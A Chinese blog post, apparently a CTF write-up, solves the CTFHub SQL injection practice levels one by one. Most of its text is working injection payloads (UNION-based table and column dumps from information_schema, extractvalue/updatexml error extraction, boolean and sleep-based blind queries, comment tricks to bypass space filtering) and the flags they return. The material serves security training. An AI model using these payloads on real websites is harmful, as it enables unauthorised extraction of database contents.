CTFHub ---> SQL注入!!

今天就来打一下CTFhub的sql注入的靶场吧,刚好回顾一下,防止忘了!!!

开打!!!

1.数字型注入

这个题目这么直接的吗??直接告诉我的注入类型!!! 那我就不客气了!!

1+order+by+* //其中的*是你猜的

在我猜到3的时候就没有回显了!! 所以返回的column只有两行

0+union+select+1,database()  //爆他数据库

结果回显是sqli,于是就开始可以进行红队的操作了!!!

-1+union+select+2,(select+group_concat(table_name) +from+information_schema.tables+where+table_schema="sqli")

  能发现有一个表名是flag 

猜测flag可能就在这个flag的列里面,所以我们就继续爆字段名字

-1+union+select+2(select+group_concat(column_name)+from+information_schema.columns+where+table_schema="sqli"+and+table_name="flag")--+

 就能发现有一个字段名字叫做flag

看我干嘛?? 继续啊!!!嘻嘻

0+union+select+2,(select+flag+from+flag+)--+

成功拿到flag !!! 

ctfhub{b43dd8c3a29b55efea2182d3}

2.字符型注入

这题,还要判断 !!! 不能直接硬搬上面的poc

通过上面的判断可以发现 --+没有发挥起对应的作用,所以我们就要换一种poc!!

-1'+union+select+(select+group_concat(table_name) +from+information_schema.tables+where+table_schema="sqli"),'2

 这样,才能报错flag的表名,剩下就肥肠熟悉了

-1'+union+select+(select+group_concat(column_name)+from+information_schema.columns+where+table_schema="sqli"+and+table_name="flag"),'2

 发现对应的字段名字只有一个flag

继续!!!

0'+union+select+(select+flag+from+flag+),'2

 

终于算是拿到了flag了!!!

ctfhub{547ca1239ac9156739e996b5

3.报错注入

这关有点意思!!!

首先它是报错注入,那就先判断注入类型 然后你就会发现无论加多少个 ' 都是显示报错

  很明显数字型!!!     ✔️😊😊  

然后就是开注了!!

1 and extractvalue(1,concat(0x7e,(database()),0x7e))

可以看见它的数据库名字还是sqli!!

1 and extractvalue(1,concat(0x7e,(  select+group_concat(table_name)  from information_schema.tables where table_schema="sqli"      ),0x7e))

可以看见两个表 分别是news 和flag !! 那就继续爆flag的就完事了

1 and extractvalue(1,concat(0x7e,(   select group_concat(column_name) from information_schema.columns where table_schema="sqli" and table_name="flag"   ),0x7e))

可以看见了表单flag里面有一个flag的字段,那就继续!!!

1 and updatexml(1,substr(concat(0x7e,(select flag from flag ),0x7e),1,32),1)  

 结果能看到这样!!

聪明的大家应改也发现了吧!!! 最后面的~不见了!!!!!

这是因为updatexml在一次最多只能返回32的长度数值,这个肯定超过了嘛!!!

所以我们只需要稍微更改一下poc!!

1 and updatexml(1,substr(concat(0x7e,(select flag from flag ),0x7e),32,50),1)  

?? 牛魔 这关意思就是,就刚好是前面的!!后面根本没有了!! 

所以有没有一种可能,这一关可以歪打正着,直接提交第一次得到的结果也能拿flag!!!

ctfhub{4a331b0296b31c6f3d76403c

4.布尔盲注!

到了这一关,工作量一下子就变得很大了!!! 

先能简单的判断出它的类型是数字型 !! 而且,它只会返回

  1. query succeed
  2. query failed 

这两个字段!!! 所以就是盲注了!!! 开始我们的poc

1+and+length(schema())=4

  可以看出来 它的数据库长度是4

 那么就开始BP去跑字典

然后再去跑它的表单名

1+and+substr((select+group_concat(table_name)+from+information_schema.tables+where+table_schema="sqli"),1,1)='a'

得到结果的表单名是flag

那么就继续咯,继续爆它的字段名字

2+and+substr((select+group_concat(column_name)+from+information_schema.columns+where+table_schema="sqli"+and+table_name="flag"),2,1)='l'

发现它的字段名字也是flag!!!

那就到了最后的爆值了

2+and+substr((select+flag+from+flag+),2,1)='l'

就能成功的拿到了flag

ctfhub{f4a436b2f9e6083abd1aa2d8}

5.时间盲注

这一关就和以前一样啦,但是不过时间久一点而已,于是小小编这里就直接展示最后一步了!!

2+and+if(substr((select+flag+from+flag+),§1§,1)='§a§',sleep(2),0)

成功拿到flag (看的我老眼昏花)

 好想四, 好想似,好想嘶 ........

ctfhub{db8d12b4edbab47967aa2294}

6. SQL结构

NYD你终于知道要换表单了是吧!!!

这关其实和前面一样,不过就是要花点时间,和你的耐心(md我做的想死)

直接展示成果吧

可以得到一个表单的名字叫做 bzhrgigypq

继续得到一个字段名字叫做 tttavsvbgl 牛魔的

nmd 给我整抽象的是吧,什么逆天表单名,什么逆天字段名   

但是生活还得继续(突然升华) ,我是说这个flag还是得继续拿!!

看得我想死,但是还是能拿到flag的

ctfhub{6a41a535df8da9294d8dd8dd}

7. Cookie注入&&UA注入&&Refer注入

这三关都是一样的,靠你耐心就好了

可以分别得到表单名,字段名,以及flag

jzcudwccmw
dchxyddhiv
ctfhub{6d83b49e40c80cca20612ae8}

8.过滤空格

过滤空格,那我们直接用 /**/不就好了嘛!!这里用联合查询   

-1/**/union/**/select/**/(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="sqli"),user()

能得到一个表单叫做 qwvnoxjrpv 继续!!

-1/**/union/**/select/**/(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema="sqli"/**/and/**/table_name="qwvnoxjrpv"),user()

又得到一个字段叫做 cxuwyqyoym 最终的poc 

-1/**/union/**/select/**/(select/**/cxuwyqyoym/**/from/**/qwvnoxjrpv/**/),user()

   这样,就能拿到flag啦!!

ctfhub{c5072185a6c0ed2bf3a4303e}

补充

1.UA类注入

今天小编刷文章的时候无意之间发现了ua注入这种 ,我写的方法都是报错注入

但是正常网站一般是不会回显给客户的!!!在nisp2级中,这叫最小反馈原则,而不是安全处理系统异常,哈哈哈最近在备考nisp2级

所以这里再给出一种方法,也是基本上最常用的方法!! 时间盲注

INSERT INTO damn.world_final (username, score) VALUES ((SELECT SLEEP(5)), 1);

可以看到,响应用了5s,我们可以去查看插入的结果

可以看见这种注入在成功注入的情况下,又不会对数据库产生影响!!!

2.内联注入

那既然都有了UA类了,是不是也有内联注释类的注入呢??

那肯定有的嘛!!!

 

看,是吧,这样可以直接用来检验sleep是否被过滤,以及是否可用!!!

CTFHub是一个CTF(Capture The Flag)竞赛平台,提供了丰富的技能树来帮助学习者提升Web基础认证的能力。下面是CTFHub技能树中关于Web基础认证的内容: 1. HTTP协议:了解HTTP协议的基本原理和常见的请求方法(GET、POST等),了解HTTP请求和响应的结构。 2. URL编码和解码:学习URL编码和解码的原理和常见的编码方式,如URL编码中的%20代表空格。 3. Cookies:了解Cookies的作用和原理,学习如何使用Cookies进行用户认证和状态管理。 4. Session管理:学习Session的概念和原理,了解如何使用Session进行用户认证和状态管理。 5. 基本认证(Basic Authentication):学习基本认证的原理和流程,了解如何使用用户名和密码进行认证。 6. 表单认证(Form-based Authentication):学习表单认证的原理和流程,了解如何使用表单提交用户名和密码进行认证。 7. Token认证:学习Token认证的原理和流程,了解如何使用Token进行用户认证和状态管理。 8. CSRF攻击与防御:学习CSRF(Cross-Site Request Forgery)攻击的原理和常见的防御措施9. XSS攻击与防御:学习XSS(Cross-Site Scripting)攻击的原理和常见的防御措施10. SQL注入攻击与防御:学习SQL注入攻击的原理和常见的防御措施。 以上是CTFHub技能树中关于Web基础认证的内容,通过学习这些知识,你可以提升自己在Web安全领域的认证技能。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值